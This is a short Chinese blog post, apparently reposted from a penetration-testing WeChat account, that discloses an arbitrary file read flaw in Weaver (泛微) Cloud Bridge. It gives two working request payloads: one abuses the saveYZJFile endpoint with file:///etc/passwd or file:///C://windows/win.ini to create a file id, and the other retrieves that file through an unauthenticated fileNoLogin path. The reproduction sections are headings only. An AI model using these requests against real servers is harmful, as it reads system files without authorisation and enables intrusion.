泛微云桥任意文件读取 admin 103387文章 87评论 2020年9月13日09:00:50评论572 views字数 329阅读1分5秒阅读模式 点击蓝字 · 关注我们 01 漏洞标题 泛微云桥任意文件读取 02 生成文件id 0x01 payload Linux： /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt Windows： /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C://windows/win.ini&fileExt=txt 03 获取文件内容 Payload：/file/fileNoLogin/{id值} 04 Linux复现 05 Windows复现 关注EDI安全，获取更多HVV情报 EDI安全 扫二维码｜关注我们 一个专注渗透实战经验分享的公众号 点赞 https://cn-sec.com/archives/130669.html 复制链接 复制链接 左青龙 微信扫一扫 右白虎 微信扫一扫
评论